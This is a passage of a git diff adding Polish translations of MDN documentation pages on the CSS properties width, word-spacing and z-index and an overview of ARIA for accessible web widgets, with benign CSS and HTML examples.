+szerokość: 25em;
+
+/ * &lt;wartość procentowa&gt; * /
+szerokość: 75%;
+
+/ * Wartości słów kluczowych * /
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content;
+width: auto;
+
+/* Global values */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<p>Właściwość <code>width</code> przyjmuje wartości:</p>
+
+<ul>
+ <li>jedno ze słów kluczowych: <code><a href="#available">available</a></code>, <code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code>.</li>
+ <li><code><a href="#&lt;length>">&lt;length&gt;</a></code> lub <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code>. Opcjonalnie można po nich dodać jedno ze słów kluczowych: <code><a href="#border-box">border-box</a></code>, <code><a href="#content-box">content-box</a></code>.</li>
+</ul>
+
+<h3 id="Wartości">Wartości</h3>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>Ustala absolutną wartość szerokości.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>Określa szerokość jako procentową wartość względem szerokości obejmującego bloku. Jeśli szerokość bloku obejmującego zależy od szerokości elementu, układ końcowy jest niezdefiniowany.</dd>
+ <dt><code><a id="border-box" name="border-box">border-box</a> </code>{{experimental_inline}}</dt>
+ <dd>Jeśli występuje, wartość {{cssxref("&lt;length&gt;")}} lub {{cssxref("&lt;percentage&gt;")}} są aplikowane do <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#border-area">obszaru border</a> elementu.</dd>
+ <dt><a id="content-box" name="content-box"><code>content-box</code></a> {{experimental_inline}}</dt>
+ <dd>Jeśli występuje, wartość {{cssxref("&lt;length&gt;")}} lub {{cssxref("&lt;percentage&gt;")}} jest aplikowana do <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">obszaru zawartości</a> elementu.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>Przeglądarka sama wylicza i wybiera szerokość elementu.</dd>
+ <dt><a id="fill" name="fill"><code>fill</code></a> {{experimental_inline}}</dt>
+ <dd>Używa liniowej wielkości <code>fill-available</code> lub blokowej wielkości <code>fill-available</code>, odpowiednio do trybu pisania (<em>writing mode</em>).</dd>
+ <dt><a id="max-content" name="max-content"><code>max-content</code></a> {{experimental_inline}}</dt>
+ <dd>Naturalna preferowana szerokość zawartości (gdy nie zostanie zastosowane miękkie zawijanie <em>soft wrap</em>).</dd>
+ <dt><a id="min-content" name="min-content"><code>min-content</code></a> {{experimental_inline}}</dt>
+ <dd>Naturalna minimalna szerokość zawartości (gdy zastosowane zostanie miękkie zawijanie <em>soft wrap</em>).</dd>
+ <dt><a id="available" name="available"><code>available</code></a> {{experimental_inline}}</dt>
+ <dd>Dostępna szerokość - blok obejmujący minus poziome marginesy, border i padding.</dd>
+ <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content</code></a> {{experimental_inline}}</dt>
+ <dd>Większa z wartości:
+ <ul>
+ <li>naturalna minimalna szerokości (min-content)</li>
+ <li>mniejsza z wartości: naturalna preferowana szerokość (max-content) i dostępna szerokość (available)</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Formalna_składnia">Formalna składnia</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Domyślna_szerokość">Domyślna szerokość</h3>
+
+<pre class="brush:css">p.goldie {
+ background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Default_width', '500px', '64px')}}</p>
+
+<h3 id="Piksele_i_emy">Piksele i emy</h3>
+
+<pre class="brush: css">.px_length {
+ width: 200px;
+ background-color: red;
+ color: white;
+ border: 1px solid black;
+}
+
+.em_length {
+ width: 20em;
+ background-color: white;
+ color: red;
+ border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="px_length"&gt;Width measured in px&lt;/div&gt;
+&lt;div class="em_length"&gt;Width measured in em&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Pixels_and_ems', '500px', '64px')}}</p>
+
+<h3 id="Procentowo">Procentowo</h3>
+
+<pre class="brush: css">.percent {
+ width: 20%;
+ background-color: silver;
+ border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="percent"&gt;Width in percentage&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Percentage', '500px', '64px')}}</p>
+
+<h3 id="max-content_2">max-content</h3>
+
+<pre class="brush:css;">p.maxgreen {
+ background: lightgreen;
+ width: intrinsic; /* Safari/WebKit uses a non-standard name */
+ width: -moz-max-content; /* Firefox/Gecko */
+ width: -webkit-max-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('max-content_2', '500px', '64px')}}</p>
+
+<h3 id="min-content_2">min-content</h3>
+
+<pre class="brush:css">p.minblue {
+ background: lightblue;
+ width: -moz-min-content; /* Firefox */
+ width: -webkit-min-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('min-content_2', '500px', '155px')}}</p>
+
+<h2 id="Dostępność">Dostępność</h2>
+
+<p>Upewnij się, że elementy z ustaloną szerokością <code>width</code> nie są przycinane ani nie zasłaniają pozostałej zawartości, kiedy strona jest przybliżana (<em>zoom</em>) aby zwiększyć rozmiar tekstu. </p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specifikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#the-width-and-height-properties', 'width')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>Dodanie słów kluczowych <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'width')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Dodanie <code>width</code> jako animowanego.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Doprecyzowanie  do jakich elementów własność jest stosowana.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Oryginalna definicja.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Działanie_w_przeglądarkach">Działanie w przeglądarkach</h2>
+
+<div class="hidden">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam prośbę o wycofanie.</div>
+
+<p>{{Compat ("css.properties.width")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">model pudełkowy</a> , {{cssxref ("height")}}, {{cssxref ("box-sizing")}}, {{cssxref ("min-width")}}, {{cssxref ("max-width") }}</li>
+</ul>
diff --git a/files/pl/web/css/word-spacing/index.html b/files/pl/web/css/word-spacing/index.html
new file mode 100644
index 0000000000..0c8e87b786
--- /dev/null
+++ b/files/pl/web/css/word-spacing/index.html
@@ -0,0 +1,78 @@
+---
+title: word-spacing
+slug: Web/CSS/word-spacing
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+translation_of: Web/CSS/word-spacing
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność CSS 'word spacing' określa odstęp pomiędzy słowami w tekstowej zawartości elementu. Można zdefiniować od jednej do trzech wartości, by wskazać minimalny, maksymalny oraz optymalny odstęp między słowami.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">word-spacing: [ normal | &lt;length&gt; | &lt;percentage&gt; ] {1,3}
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal </dt>
+ <dd> </dd>
+ <dt>{{cssxref("&lt;length&gt;")}}  </dt>
+ <dd> </dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}  </dt>
+ <dd> </dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="eval">p {
+ word-spacing: 1em 3em 2em;
+}
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#propdef-word-spacing">W3C Cascading Style Sheets, level 2 revision 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#word-spacing">W3C Cascading Style Sheets, level 1</a> (secondary)</li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-text/#word-spacing">W3C Cascading Style Sheets, level 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/z-index/index.html b/files/pl/web/css/z-index/index.html
new file mode 100644
index 0000000000..fd454242be
--- /dev/null
+++ b/files/pl/web/css/z-index/index.html
@@ -0,0 +1,128 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<p>Własność <strong><code>z-index</code></strong> określa kolejność elementów wzdłuż osi z. Kiedy elementy nachodzą na siebie, kolejność osi <code>z</code> decyduje, który element przykrywa inny. Element z większym indeksem <code>z</code> zazwyczaj przykrywa element z mniejszym.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/z-index.html")}}</div>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("auto") }}</li>
+ <li>Stosowana do: {{ Cssxref("position", "elementów pozycjonowanych") }}</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: jako określona</li>
+</ul>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush:css no-line-numbers">/* Właściwość wartość */
+z-index: auto;
+
+/* wartość jako liczba */
+z-index: 0;
+z-index: 3;
+z-index: 289;
+z-index: -1; /* wartość ujemna w celu zmniejszenia priorytetu */
+
+/* globalne wartości */
+z-index: inherit;
+z-index: initial;
+z-index: unset;
+</pre>
+
+<p>Wartość <code>z-index</code> jest określona słowem kluczowym <code><a href="#auto">auto</a></code> lub jako <code><a href="#&lt;liczba>">&lt;liczba&gt;</a></code>.</p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>auto </dt>
+ <dd>Element jest rysowany w takiej samej kolejności względem osi z jak element z <code>z-index: 0</code>.<em>Nie</em> tworzy nowego kontekstu nakładania.</dd>
+ <dt><a id="&lt;liczba" name="&lt;liczba>"><code>&lt;liczba&gt;</code></a></dt>
+ <dd>Element jest rysowany w podanej kolejności względem osi z. Tworzy również nowy kontekst nakładania, co oznacza, że wszystkie jego elementy potomne również są rysowane z takim samym indeksem z. Oznacza to również, że indeksy z elementów potomnych nie są porównywane do indeksów z elementów na zewnątrz danego elementu.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="dashed-box"&gt;Dashed box
+ &lt;span class="gold-box"&gt;Gold box&lt;/span&gt;
+ &lt;span class="green-box"&gt;Green box&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3,11,19]">.dashed-box {
+ position: relative;
+ z-index: 1;
+ border: dashed;
+ height: 8em;
+ margin-bottom: 1em;
+ margin-top: 2em;
+}
+.gold-box {
+ position: absolute;
+ z-index: 3; /* put .gold-box above .green-box and .dashed-box */
+ background: gold;
+ width: 80%;
+ left: 60px;
+ top: 3em;
+}
+.green-box {
+ position: absolute;
+ z-index: 2; /* put .green-box above .dashed-box */
+ background: lightgreen;
+ width: 20%;
+ left: 65%;
+ top: -25px;
+ height: 7em;
+ opacity: 0.9;
+}
+</pre>
+
+<h3 id="Wynik">Wynik</h3>
+
+<p>{{ EmbedLiveSample('Examples', '550', '200', '') }}</p>
+
+<h2 id="Specifikacja">Specifikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'animation behavior for z-index')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>z-index</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#z-index', 'z-index')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+<p>{{Compat("css.properties.z-index")}}</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("position") }}</p>
+
+<p>{{ languages( { "en": "en/CSS/z-index", "fr": "fr/CSS/z-index" } ) }}</p>
diff --git a/files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html
new file mode 100644
index 0000000000..06d9978f8a
--- /dev/null
+++ b/files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html
@@ -0,0 +1,165 @@
+---
+title: An overview of accessible web applications and widgets
+slug: Web/Dostępność/An_overview_of_accessible_web_applications_and_widgets
+translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
+---
+<p><span id="result_box" lang="pl"><span>Sieć się zmienia.</span> <span>Statyczne witryny oparte na stronach są coraz częściej zastępowane dynamicznymi aplikacjami internetowymi w stylu aplikacji pulpitowych, które intensywnie wykorzystują JavaScript i AJAX.</span> <span>Projektanci tworzą niesamowite nowe widżety i kontrolki całkowicie za pomocą kombinacji JavaScript, HTML i CSS.</span> <span>Ta zmiana może znacznie poprawić responsywność i użyteczność internetu, ale wielu użytkowników jest zagrożonych wykluczeniem z powodu luk w dostępności.</span> <span>JavaScript tradycyjnie cieszy się reputacją niedostępności dla użytkowników technologii pomocniczych, takich jak czytniki ekranu, ale istnieją teraz sposoby na tworzenie dynamicznych interfejsów internetowych, które są dostępne dla szerokiego grona użytkowników.</span></span></p>
+
+<h2 id="Problem">Problem</h2>
+
+<p><span id="result_box" lang="pl"><span>Większość zestawów narzędzi JavaScript oferuje bibliotekę widżetów po stronie klienta, które naśladują zachowanie znanych interfejsów pulpitu.</span> <span>Suwaki, paski menu, widoki list plików i wiele więcej można zbudować za pomocą kombinacji JavaScript, CSS i HTML.</span> <span>Ponieważ specyfikacja HTML 4 nie zapewnia wbudowanych znaczników, które semantycznie opisują tego rodzaju widżety, programiści zazwyczaj używają ogólnych elementów, takich jak &lt;div&gt; i &lt;span&gt;.</span> <span>Skutkuje to widżetem, który wygląda jak jego odpowiednik na pulpicie, jednak zwykle nie ma wystarczającej ilości znaczników semantycznych do wykorzystania przez technologię wspomagającą.</span> <span>Dynamiczne treści na stronie internetowej mogą być szczególnie problematyczne dla użytkowników, którzy z jakiegoś powodu nie są w stanie wyświetlić ekranu.</span> <span>Informacje giełdowe, aktualizacje kanałów live twitter, wskaźniki postępu i podobne treści modyfikują DOM w taki sposób, że technologia wspomagająca (AT) może nie być świadoma.</span> <span>Wtedy z pomocą wkracza ARIA.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span>Przykład 1: Znaczniki dla widżetów kart zbudowanych bez etykietowania ARIA.</span> <span>W znacznikach nie ma informacji opisujących formę i funkcję widżetu.</span></span></p>
+
+<pre class="brush: html">&lt;!-- To jest widget zakładek. Jak możesz to rozpoznać, patrząc tylko na znaczniki? --&gt;
+&lt;ol&gt;
+  &lt;li id="ch1Tab"&gt;
+    &lt;a href="#cz1Panel"&gt;Część 1&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="ch2Tab"&gt;
+    &lt;a href="#cz2Panel"&gt;Część 2&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="quizTab"&gt;
+    &lt;a href="#quizPanel"&gt;Quiz&lt;/a&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;div&gt;
+  &lt;div id="ch1Panel"&gt;Zawartość części nr 1 &lt;/div&gt;
+  &lt;div id="ch2Panel"&gt;Zawartość częśći nr 2&lt;/div&gt;
+  &lt;div id="quizPanel"&gt;Zawartość Quizu&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p><span id="result_box" lang="pl"><span>Przykład 2: Sposób wizualnego przedstawienia widżetów karty.</span> <span>Użytkownicy mogą rozpoznać to wizualnie, jednak nie ma semantyki do odczytu maszynowego dla technologii wspomagającej.</span></span><br>
+ <img alt="Screenshot of the tabs widget" class="default internal" src="/@api/deki/files/4926/=Tabs_Widget.png"></p>
+
+<h2 id="ARIA">ARIA</h2>
+
+<p><a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>, <strong>Accessible Rich Internet Applications</strong> specyfikacja wywodząca się od W3C <a class="external" href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>, <span id="result_box" lang="pl"><span>umożliwia dodanie brakującej semantyki potrzebnej w przypadku technologii pomocniczych, takich jak czytniki ekranu.</span> <span>ARIA umożliwia programiście bardziej szczegółowe opisywanie tych widżetów poprzez dodawanie specjalnych atrybutów do znaczników.</span> <span>Zaprojektowany, aby wypełnić lukę pomiędzy standardowymi znacznikami HTML a formantami w stylu pulpitu znajdującymi się w dynamicznych aplikacjach internetowych, ARIA udostępnia role i stany, które opisują zachowanie najbardziej znanych widgetów interfejsu użytkownika.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span>Specyfikacja ARIA jest podzielona na trzy różne typy atrybutów: role, stany i właściwości.</span> <span>Role opisują widżety, które nie są w inny sposób dostępne w HTML 4, takie jak suwaki, paski menu, karty i okna dialogowe.</span> <span>Właściwości opisują charakterystykę tych widgetów, na przykład, czy są one przeciągalne, mają wymagany element lub czy powiązane jest z nim wyskakujące okienko.</span> <span>Stany opisują bieżący stan interakcji elementu, informując technologię asystującą, jeśli jest zajęta, wyłączona, wybrana lub ukryta.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span>Atrybuty ARIA mają być interpretowane automatycznie przez przeglądarkę i tłumaczone na natywne API systemu operacyjnego.</span> <span>Kiedy ARIA jest obecna, technologie asystujące są w stanie rozpoznać i sterować niestandardowymi kontrolkami JavaScript w taki sam sposób, jak robią to z odpowiednikami komputerów.</span> <span>Może to zapewnić znacznie bardziej spójny interfejs użytkownika, niż było to możliwe w poprzedniej generacji aplikacji internetowych, ponieważ użytkownicy technologii pomocniczych mogą wykorzystać całą swoją wiedzę na temat działania aplikacji komputerowych podczas korzystania z aplikacji internetowych.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span>Przykład 3: Znaczniki dla widżetów kart z dodanymi atrybutami ARIA.</span></span></p>
+
+<pre class="brush: html">&lt;!-- Dodaliśmy atrybut "role" aby opisać listę kart i poszczególne karty. --&gt;
+&lt;ol role="tablist"&gt;
+  &lt;li id="ch1Tab" role="tab"&gt;
+    &lt;a href="#ch1Panel"&gt;Część 1&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="ch2Tab" role="tab"&gt;
+    &lt;a href="#ch2Panel"&gt;Część 2&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="quizTab" role="tab"&gt;
+    &lt;a href="#quizPanel"&gt;Quiz&lt;/a&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;div&gt;
+  &lt;!-- <span id="result_box" lang="pl"><span>Zwróć uwagę na rolę i atrybuty "aria-labelledby", które dodaliśmy do opisu tych paneli.</span></span> --&gt;
+  &lt;div id="ch1Panel" role="tabpanel" aria-labelledby="ch1Tab"&gt;Zawartość części nr 1&lt;/div&gt;
+  &lt;div id="ch2Panel" role="tabpanel" aria-labelledby="ch2Tab"&gt;Zawartość części nr 2&lt;/div&gt;
+  &lt;div id="quizPanel" role="tabpanel" aria-labelledby="quizTab"&gt;Zawartość Quizu&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><span id="result_box" lang="pl"><span>ARIA jest obsługiwana w najnowszych wersjach wszystkich głównych przeglądarek, w tym Firefox, Safari, Opera, Chrome i Internet Explorer.</span> <span>Wiele technologii wspomagających, takich jak open source NVDA i czytniki ekranu Orca, również obsługuje ARIA.</span> <span>Coraz częściej biblioteki widgetów JavaScript, takie jak jQuery UI, YUI, Google Closure i Dojo Dijit, również zawierają znaczniki ARIA.</span></span></p>
+
+<h3 id="Zmiany_prezentacyjne">Zmiany prezentacyjne</h3>
+
+<p><span id="result_box" lang="pl"><span>Dynamiczne zmiany prezentacyjne obejmują używanie CSS do zmiany wyglądu treści (np. Czerwone obramowanie wokół nieprawidłowych danych lub zmiana koloru tła zaznaczonego pola wyboru), a także pokazywanie lub ukrywanie treści.</span></span></p>
+
+<h4 id="Zmiany_stanu">Zmiany stanu</h4>
+
+<p><span id="result_box" lang="pl"><span>ARIA udostępnia atrybuty do deklarowania bieżącego stanu widgetu interfejsu użytkownika.</span> <span>Przykłady obejmują (ale z pewnością nie są ograniczone do):</span></span></p>
+
+<ul>
+ <li><strong><code>aria-checked</code></strong>: <span class="short_text" id="result_box" lang="pl"><span>wskazuje stan pola wyboru lub przycisku opcji</span></span></li>
+ <li><strong><code>aria-disabled</code></strong>: <span id="result_box" lang="pl"><span>wskazuje, że element jest widoczny, ale nie można go edytować lub użyć w inny sposób</span></span></li>
+ <li><strong><code>aria-grabbed</code></strong>: <span id="result_box" lang="pl"><span>wskazuje stan "chwycony" obiektu w operacji przeciągania i upuszczania</span></span></li>
+</ul>
+
+<p>(Pełna lista stanów:<a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#introstates" title="http://www.w3.org/TR/wai-aria/states_and_properties"> ARIA list of states and properties</a>.)</p>
+
+<p><span id="result_box" lang="pl"><span>Programiści powinni używać stanów ARIA do wskazania stanu elementów widgetu interfejsu użytkownika i używać selektorów atrybutów CSS do zmiany wyglądu wizualnego na podstawie zmian stanu (zamiast używania skryptu do zmiany nazwy klasy na elemencie).</span></span></p>
+
+<h4 id="Zmiany_widoczności">Zmiany widoczności</h4>
+
+<p><span id="result_box" lang="pl"><span>Gdy zmieni się widoczność zawartości (tzn. Element jest ukryty lub pokazany), programiści powinni zmienić</span></span> wartość właściwości <strong><code>aria-hidden</code></strong>. <span id="result_box" lang="pl"><span>Opisane powyżej techniki powinny być używane do deklarowania CSS do wizualnego ukrywania elementu za pomocą</span></span> <code>display:none</code>.</p>
+
+<p>Przykład przedstawia prosty formularz internetowy z etykietami narzędzi zawierającymi instrukcje powiązane z polami wprowadzania.</p>
+
+<p>Przykład kodu HTML z atrybutem <strong><code>aria-hidden</code></strong> ustawionym na wartość <code>true</code>.</p>
+
+<pre class="brush: html">&lt;div class="text"&gt;
+ &lt;label id="tp1-label" for="first"&gt;Pierwsze imię:&lt;/label&gt;
+ &lt;input type="text" id="first" name="first" size="20"
+ aria-labelledby="tp1-label"
+ aria-describedby="tp1"
+ aria-required="false" /&gt;
+ &lt;div id="tp1" class="tooltip"
+ role="tooltip"
+ aria-hidden="true"&gt;Twoje pierwsze imię jest opcjonalne&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Poniżej kod CSS dla powyższego przykładu.<br>
+ Zwróć uwagę na to że nie użyto typowego selektora klasy, lecz selektora atrybutu  <strong><code>aria-hidden</code></strong> ustawionego na wartość "true".</p>
+
+<pre class="brush: css">div.tooltip[aria-hidden="true"] {
+ display: none;
+}
+</pre>
+
+<p>Kod JavaScript dla powyższego przykładu, aktualizujący atrybut  <strong><code>aria-hidden</code></strong>.</p>
+
+<pre class="brush: javascript">var showTip = function(el) {
+ el.setAttribute('aria-hidden', 'false');
+}</pre>
+
+<h3 id="Zmiany_ról">Zmiany ról</h3>
+
+<div class="note">W budowie</div>
+
+<p>ARIA pozwala programistom zadeklarować rolę semantyczną dla elementu, który w przeciwnym razie oferuje niepoprawną lub brak semantyki. Na przykład, gdy do utworzenia menu jest używana lista nie numerowana {{ HTMLElement("ul") }} powinien otrzymać atrybut <strong><code>role</code></strong> zdefiniowany jako <code>menubar</code> a każdy element listy {{ HTMLElement("li") }} powinien otrzymać atrybut <strong><code>role</code></strong> o wartości <code>menuitem</code>.</p>
+
+<p>Atrybut <strong><code>role</code></strong> nie powinien być zmieniany. <span class="tlid-translation translation"><span title="">Zamiast tego usuń oryginalny element i zastąp go elementem z nową wartością atrybutu</span></span> <strong><code>role</code></strong>.</p>
+
+<p>Rozważmy przykład widgetu "edycji bezpośredniej": komponent <span class="tlid-translation translation"><span title="">który pozwala użytkownikom edytować fragment tekstu na miejscu, bez przełączania kontekstów</span></span> . Ten komponent ma tryb "widok", gdzie tekst nie jest edytowalny, ale można go aktywować, oraz tryb "edycja", w którym tekst jest edytowalny. Deweloper może ulec pokusie, aby zaimplementować tryb "widok" używając elementu  {{ HTMLElement("input") }} tylko do odczytu, i ustawić jego ARIA atrybut <strong><code>role</code></strong> na wartość <code>button</code>, następnie po przęłączeniu w tryb "edycja" uczynić element zapisywalnym i usunąć atrybut w tym trybie atrybut <strong><code>role</code></strong> (ponieważ element {{ HTMLElement("input") }} ma własną semantykę ról).</p>
+
+<p>Nie rób tego. Zaimplementuj tryb widoku przy użyciu zupełnie innego elementu, takiego jak {{ HTMLElement("div") }} albo {{ HTMLElement("span") }} z atrybutem <strong><code>role</code></strong> o wartości <code>button</code>, a tryb « edycja »  z użyciem elementu  {{ HTMLElement("input") }}.</p>
+
+<h3 id="Asynchroniczna_zmiana_trści">Asynchroniczna zmiana trści</h3>
+
+<div class="note">W budowie. Zobacz też <a href="/en/ARIA/Live_Regions" title="Live Regions">Live Regions</a></div>
+
+<h2 id="Nawigacja_klawiaturą">Nawigacja klawiaturą</h2>
+
+<p><span id="result_box" lang="pl"><span>Często programiści pomijają obsługę klawiatury podczas tworzenia niestandardowych widżetów.</span> <span>Aby być dostępnym dla wielu użytkowników, wszystkie funkcje aplikacji internetowej lub widżetu powinny być sterowane za pomocą klawiatury, bez potrzeby korzystania z myszy.</span> <span>W praktyce zwykle wiąże się to z konwencjami obsługiwanymi przez podobne widżety na pulpicie, w pełni korzystając z klawiszy Tab, Enter, Spacja i klawiszy strzałek.</span></span></p>
+
